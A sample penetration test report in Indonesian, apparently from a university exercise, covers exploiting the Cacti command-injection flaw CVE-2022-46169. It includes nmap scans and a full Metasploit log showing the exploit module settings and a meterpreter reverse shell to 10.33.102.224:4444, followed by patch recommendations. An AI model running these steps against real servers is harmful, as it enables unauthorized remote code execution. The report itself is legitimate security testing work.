UNIVERSITAS GADJAH MADA

Sample Penetration Test Report
Example Company

Company: Customer Name
Date: 04 July 2024
Version 1.0

UNIVERSITAS GADJAH MADA

Pendahuluan

Laporan ini disusun sebagai hasil pengujian penetrasi terhadap CVE-2022-46169, sebuah kerentanan yang ditemukan dalam perangkat lunak Cacti. Kerentanan ini memungkinkan serangan tanpa autentikasi untuk melakukan eksekusi perintah sistem secara sewenang-wenang pada server yang menjalankan Cacti. Dalam laporan ini, kami akan memberikan detail mengenai temuan kerentanan CVE-2022-46169 yang kami identifikasi selama penilaian. Kami akan menjelaskan dengan rinci potensi dampak dan risiko yang terkait dengan kerentanan ini, serta memberikan rekomendasi tindakan untuk memperbaiki kerentanan tersebut dan meningkatkan keamanan sistem secara menyeluruh.

Ruang Lingkup

Evaluasi keamanan sistem informasi pada Cacti dilakukan di lingkungan produksi dengan melakukan upaya peretasan berdasarkan kerentanan yang ditemukan. Host dan alamat IP yang diuji adalah sebagai berikut:

- - Host: Sistem Utama, IP: 10.33.102.224
- - Host: Target, IP: 10.33.102.225
- - Host: Target, IP: 10.33.102.226

Metodologi

Metodologi yang digunakan dalam pengujian penetrasi ini terdiri dari beberapa tahap yang sistematis untuk memastikan pengujian yang menyeluruh dan efektif. Tahap-tahap ini meliputi information gathering, vulnerability scanning, vulnerability analysis, vulnerability exploitation, recommendation and reporting. Metodologi ini dirancang untuk mengidentifikasi dan mengatasi potensi celah keamanan dalam sistem secara menyeluruh.

Identifikasi Kerentanan

Pemindaian menggunakan Nmap pada alamat IP 10.33.102.212, 10.33.102.225, dan 10.33.102.226 dilakukan dengan perintah nmap -sV -sC -Pn --script http-title -iL targets.txt -oN nmap_results.txt. Perintah ini digunakan untuk memindai jaringan terhadap sejumlah alamat IP yang terdaftar dalam file targets.txt. Hasil pemindaian mencakup identifikasi versi perangkat lunak yang berjalan, eksekusi skrip otomatis untuk analisis keamanan, dan pengambilan judul halaman utama dari server web yang terdeteksi. Informasi hasil pemindaian akan disimpan dalam file nmap_results.txt untuk referensi dan analisis lebih lanjut.

```
# Nmap 7.80 scan initiated Thu Jul  4 18:28:03 2024 as: nmap -sV -sC -Pn --
script http-title -iL targets.txt -oN nmap_results.txt
Nmap scan report for 10.33.102.225
Host is up (0.00066s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux;
protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.33.102.226
Host is up (0.00071s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux;
protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Thu Jul  4 18:28:10 2024 -- 2 IP addresses (2 hosts up)
scanned in 7.85 seconds
```

Hasil pemindaian menunjukkan bahwa pada alamat IP 10.33.102.225:
- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.2p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.54 pada Debian, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Pada alamat IP 10.33.102.226:
- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.9p1 pada Ubuntu.

- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.52 pada Ubuntu, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Informasi hasil pemindaian ini disimpan dalam file nmap_results.txt untuk referensi dan analisis lebih lanjut.

Vulnerability Scanning

Vulnerability scanning dilakukan menggunakan perangkat lunak Metasploit. Metasploit adalah open-source, platform pengujian penetrasi berbasis Ruby yang memungkinkan pengguna untuk menulis, menguji, dan mengeksekusi kode eksploit. Sistem pengujian penetrasi atau pengujian pena bekerja dengan mensimulasikan serangan cyber untuk memeriksa kerentanan yang rentan. Dibawah ini menampilkan hasil dari pemindaian kerentanan yang ditemukan oleh Metasploit.

========== Vulnerability Scan Result for 10.33.102.225

Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for server to start.... stopped waiting
pg_ctl: could not start server
Examine the log output.
failed
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
RHOSTS => 10.33.102.225
RPORT => 80
[*] 10.33.102.225:80 - The target appears to be vulnerable. The target is Cacti version 1.2.22

========== Vulnerability Scan Result for 10.33.102.226

Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at

```
/home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for
server to start.... stopped waiting
pg_ctl: could not start server
Examine the log output.
failed
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
RHOSTS => 10.33.102.226
RPORT => 80
[*] 10.33.102.226:80 - The target is not exploitable. The target is Cacti
version 1.2.27
```

Metasploit melakukan pemindaian kerentanan pada target sistem dan berhasil mengidentifikasi bahwa alamat IP 10.33.102.225, pada port 80, menjalankan aplikasi Cacti versi 1.2.22 yang rentan, dengan celah keamanan yang dapat dieksploitasi. Sementara itu, target dengan alamat IP 10.33.102.226 menjalankan aplikasi Cacti versi 1.2.27 yang tidak rentan terhadap eksploitasi yang sama seperti versi sebelumnya, mungkin karena telah diperbarui atau diperbaiki untuk menutup kerentanan yang ada pada versi 1.2.22.

Vulnerability Exploitation

Pada bagian ini, dilakukan beberapa serangan untuk menguji kerentanan yang telah diidentifikasi sebelumnya. Serangan pertama adalah eksploitasi kerentanan Command Injection pada aplikasi Cacti menggunakan Metasploit. Langkah ini dilakukan untuk memanfaatkan celah keamanan yang ditemukan dalam versi 1.2.22 dari Cacti, dengan tujuan memperoleh akses ilegal ke dalam sistem yang rentan.Metasploit berhasil mengeksploitasi kerentanan yang ada pada aplikasi Cacti versi 1.2.22 yang dijalankan pada alamat IP 10.33.102.225 dengan menggunakan port 80. Dalam proses eksploitasi ini, Metasploit menggunakan payload linux/x86/meterpreter/reverse_tcp untuk menciptakan koneksi TCP terbalik dari target ke alamat IP Metasploit (10.33.102.224) pada port 4444. Meskipun awalnya eksploitasi tidak menghasilkan sesi Meterpreter, setelah beberapa upaya tambahan termasuk bruteforce terhadap host_id dan local_data_id, Metasploit berhasil memperoleh akses.

Hasilnya, sesi Meterpreter berhasil dibuka, memberikan penyerang kontrol penuh terhadap sistem target. Melalui sesi ini, penyerang menggunakan perintah ls -la untuk menjelajahi isi direktori dari perspektif pengguna www-

data. Informasi yang diperoleh dari hasil eksekusi perintah tersebut memungkinkan penyerang untuk memahami struktur file serta hak akses yang terkait dengan aplikasi Cacti yang disusupi.

10.33.102.225

```
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at
/home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for
server to start.... stopped waiting
failed
[*] Processing exploit_cacti_resource.rc for ERB directives.
resource (exploit_cacti_resource.rc)> use
exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
resource (exploit_cacti_resource.rc)> set RHOSTS 10.33.102.225
RHOSTS => 10.33.102.225
resource (exploit_cacti_resource.rc)> set RPORT 80
RPORT => 80
resource (exploit_cacti_resource.rc)> set LHOST 10.33.102.224
LHOST => 10.33.102.224
resource (exploit_cacti_resource.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (exploit_cacti_resource.rc)> sleep 20
[*] Started reverse TCP handler on 10.33.102.224:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up
to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 15 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Meterpreter session 1 opened (10.33.102.224:4444 ->
10.33.102.225:56104) at 2024-07-04 18:31:37 +0700
resource (exploit_cacti_resource.rc)> sessions -i

Active sessions
===============
```

```
  Id  Name  Type                   Information           Connection
  --  ----  ----                   -----------           ----------
  1         meterpreter x86/linux  www-data @ 172.24.0.3  10.33.102.224:4444
-> 10.33.102.225:56104 (172.24.
                                                0.3)

resource (exploit_cacti_resource.rc)> sessions -c 'ls -la' -i 1
[*] Running 'ls -la' on meterpreter session 1 (172.24.0.3)
total 2792
drwxrwxrwx 1 www-data www-data   4096 Jun  3 07:28 .
drwxr-xr-x 1 root     root       4096 Nov 15  2022 ..
-rw-rw-r-- 1 www-data www-data    577 Aug 14  2022 .mdl_style.rb
-rw-rw-r-- 1 www-data www-data     60 Aug 14  2022 .mdlrc
-rw------- 1 www-data www-data   1024 Jun  3 07:28 .rnd
-rw-rw-r-- 1 www-data www-data 254887 Aug 14  2022 CHANGELOG
-rw-rw-r-- 1 www-data www-data  15171 Aug 14  2022 LICENSE
-rw-rw-r-- 1 www-data www-data  11318 Aug 14  2022 README.md
-rw-rw-r-- 1 www-data www-data   4341 Aug 14  2022 about.php
-rw-rw-r-- 1 www-data www-data  63112 Aug 14  2022
aggregate_graphs.php
-rw-rw-r-- 1 www-data www-data  18586 Aug 14  2022 aggregate_items.php
-rw-rw-r-- 1 www-data www-data  25705 Aug 14  2022
aggregate_templates.php
-rw-rw-r-- 1 www-data www-data  14677 Aug 14  2022
auth_changepassword.php
-rw-rw-r-- 1 www-data www-data  15221 Aug 14  2022 auth_login.php
-rw-rw-r-- 1 www-data www-data  19044 Aug 14  2022 auth_profile.php
-rw-rw-r-- 1 www-data www-data  24203 Aug 14  2022
automation_devices.php
-rw-rw-r-- 1 www-data www-data  36742 Aug 14  2022
automation_graph_rules.php
-rw-rw-r-- 1 www-data www-data  42897 Aug 14  2022
automation_networks.php
-rw-rw-r-- 1 www-data www-data  31517 Aug 14  2022 automation_snmp.php
-rw-rw-r-- 1 www-data www-data  18773 Aug 14  2022
automation_templates.php
-rw-rw-r-- 1 www-data www-data  38723 Aug 14  2022
automation_tree_rules.php
-rwxrwxr-x 1 www-data www-data   2959 Aug 14  2022 boost_rrdupdate.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 cache
-rw-rw-r-- 1 www-data www-data 126187 Aug 14  2022 cacti.sql
-rwxrwxr-x 1 www-data www-data   8077 Aug 14  2022 cactid.php
```

```
-rw-rw-r-- 1 www-data www-data  29268 Aug 14  2022 cdef.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 cli
-rw-rw-r-- 1 www-data www-data   1934 Aug 14  2022 clog.php
-rw-rw-r-- 1 www-data www-data   1940 Aug 14  2022 clog_user.php
-rwxrwxr-x 1 www-data www-data  33597 Aug 14  2022 cmd.php
-rw-rw-r-- 1 www-data www-data   8843 Aug 14  2022 cmd_realtime.php
-rw-rw-r-- 1 www-data www-data  24350 Aug 14  2022 color.php
-rw-rw-r-- 1 www-data www-data  24889 Aug 14  2022 color_templates.php
-rw-rw-r-- 1 www-data www-data  13259 Aug 14  2022
color_templates_items.php
-rw-rw-r-- 1 www-data www-data  34558 Aug 14  2022 data_debug.php
-rw-rw-r-- 1 www-data www-data  35500 Aug 14  2022 data_input.php
-rw-rw-r-- 1 www-data www-data  49788 Aug 14  2022 data_queries.php
-rw-rw-r-- 1 www-data www-data  37433 Aug 14  2022
data_source_profiles.php
-rw-rw-r-- 1 www-data www-data  67358 Aug 14  2022 data_sources.php
-rw-rw-r-- 1 www-data www-data  47694 Aug 14  2022 data_templates.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 docs
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 formats
-rw-rw-r-- 1 www-data www-data  14319 Aug 14  2022 gprint_presets.php
-rw-rw-r-- 1 www-data www-data  22061 Aug 14  2022 graph.php
-rw-rw-r-- 1 www-data www-data   5764 Aug 14  2022 graph_image.php
-rw-rw-r-- 1 www-data www-data   9136 Aug 14  2022 graph_json.php
-rw-rw-r-- 1 www-data www-data  17525 Aug 14  2022 graph_realtime.php
-rw-rw-r-- 1 www-data www-data  41401 Aug 14  2022 graph_templates.php
-rw-rw-r-- 1 www-data www-data   9586 Aug 14  2022
graph_templates_inputs.php
-rw-rw-r-- 1 www-data www-data  30755 Aug 14  2022
graph_templates_items.php
-rw-rw-r-- 1 www-data www-data  32392 Aug 14  2022 graph_view.php
-rw-rw-r-- 1 www-data www-data  12466 Aug 14  2022 graph_xport.php
-rw-rw-r-- 1 www-data www-data  88406 Aug 14  2022 graphs.php
-rw-rw-r-- 1 www-data www-data  26995 Aug 14  2022 graphs_items.php
-rw-rw-r-- 1 www-data www-data  35613 Aug 14  2022 graphs_new.php
-rw-rw-r-- 1 www-data www-data   3727 Aug 14  2022 help.php
-rw-rw-r-- 1 www-data www-data  67581 Aug 14  2022 host.php
-rw-rw-r-- 1 www-data www-data  30239 Aug 14  2022 host_templates.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 images
drwxrwxr-x 1 www-data www-data   4096 Dec 12  2022 include
-rw-rw-r-- 1 www-data www-data   5721 Aug 14  2022 index.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 install
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 lib
```

```
-rw-rw-r-- 1 www-data www-data   3495 Aug 14  2022 link.php
-rw-rw-r-- 1 www-data www-data  21889 Aug 14  2022 links.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 locales
drwxrwxr-x 1 www-data www-data   4096 Jun  3 07:28 log
-rw-rw-r-- 1 www-data www-data   4666 Aug 14  2022 logout.php
-rw-rw-r-- 1 www-data www-data  38081 Aug 14  2022 managers.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 mibs
-rw-rw-r-- 1 www-data www-data   3410 Aug 14  2022
permission_denied.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 plugins
-rw-rw-r-- 1 www-data www-data  28268 Aug 14  2022 plugins.php
-rwxrwxr-x 1 www-data www-data  35920 Aug 14  2022 poller.php
-rwxrwxr-x 1 www-data www-data  38581 Aug 14  2022
poller_automation.php
-rwxrwxr-x 1 www-data www-data  35791 Aug 14  2022 poller_boost.php
-rwxrwxr-x 1 www-data www-data   7095 Aug 14  2022
poller_commands.php
-rwxrwxr-x 1 www-data www-data  11602 Aug 14  2022 poller_dsstats.php
-rwxrwxr-x 1 www-data www-data  20170 Aug 14  2022
poller_maintenance.php
-rwxrwxr-x 1 www-data www-data   9881 Aug 14  2022 poller_realtime.php
-rwxrwxr-x 1 www-data www-data   8830 Aug 14  2022 poller_recovery.php
-rwxrwxr-x 1 www-data www-data   5722 Aug 14  2022 poller_reports.php
-rwxrwxr-x 1 www-data www-data   8273 Aug 14  2022 poller_spikekill.php
-rw-rw-r-- 1 www-data www-data  39278 Aug 14  2022 pollers.php
-rw-rw-r-- 1 www-data www-data  14552 Aug 14  2022 remote_agent.php
-rw-rw-r-- 1 www-data www-data   5309 Aug 14  2022 reports_admin.php
-rw-rw-r-- 1 www-data www-data   5210 Aug 14  2022 reports_user.php
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 resource
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 rra
-rw-rw-r-- 1 www-data www-data  20183 Aug 14  2022 rrdcleaner.php
-rw-rw-r-- 1 www-data www-data  11907 Aug 14  2022 script_server.php
drwxrwxr-x 1 www-data www-data   4096 Jun  3 07:28 scripts
drwxrwxr-x 1 www-data www-data   4096 Aug 14  2022 service
-rw-rw-r-- 1 www-data www-data   1728 Aug 14  2022 service_check.php
-rw-rw-r-- 1 www-data www-data  43453 Aug 14  2022 settings.php
-rw-rw-r-- 1 www-data www-data  20567 Aug 14  2022 sites.php
-rw-rw-r-- 1 www-data www-data   2414 Aug 14  2022
snmpagent_mibcache.php
-rw-rw-r-- 1 www-data www-data   3688 Aug 14  2022
snmpagent_mibcachechild.php
-rwxrwxr-x 1 www-data www-data   5510 Aug 14  2022
```

```
snmpagent_persist.php
-rw-rw-r-- 1 www-data www-data   3987 Aug 14  2022 spikekill.php
-rw-rw-r-- 1 www-data www-data   6597 Aug 14  2022 templates_export.php
-rw-rw-r-- 1 www-data www-data   6263 Aug 14  2022 templates_import.php
-rw-rw-r-- 1 www-data www-data  64922 Aug 14  2022 tree.php
-rw-rw-r-- 1 www-data www-data  99936 Aug 14  2022 user_admin.php
-rw-rw-r-- 1 www-data www-data  29909 Aug 14  2022 user_domains.php
-rw-rw-r-- 1 www-data www-data  89318 Aug 14  2022
user_group_admin.php
-rw-rw-r-- 1 www-data www-data 104198 Aug 14  2022 utilities.php
-rw-rw-r-- 1 www-data www-data  28883 Aug 14  2022 vdef.php
resource (exploit_cacti_resource.rc)> sleep 10
resource (exploit_cacti_resource.rc)> exit
[*] You have active sessions open, to exit anyway type "exit -y"
resource (exploit_cacti_resource.rc)> exit -y
```

Recommendation

Untuk mengurangi risiko dari CVE-2022-46169, disarankan untuk mengambil langkah-langkah berikut:

- Memperbarui Cacti ke versi terbaru yang tersedia.
- Menerapkan aturan firewall yang membatasi akses ke layanan Cacti.
- Melakukan evaluasi keamanan secara berkala dan pengujian penetrasi untuk mengidentifikasi dan mengatasi kerentanan.
- Menerapkan kebijakan sandi yang kuat dan menghindari penggunaan kredensial default.
- Rutin memperbarui perangkat untuk mengatasi masalah keamanan.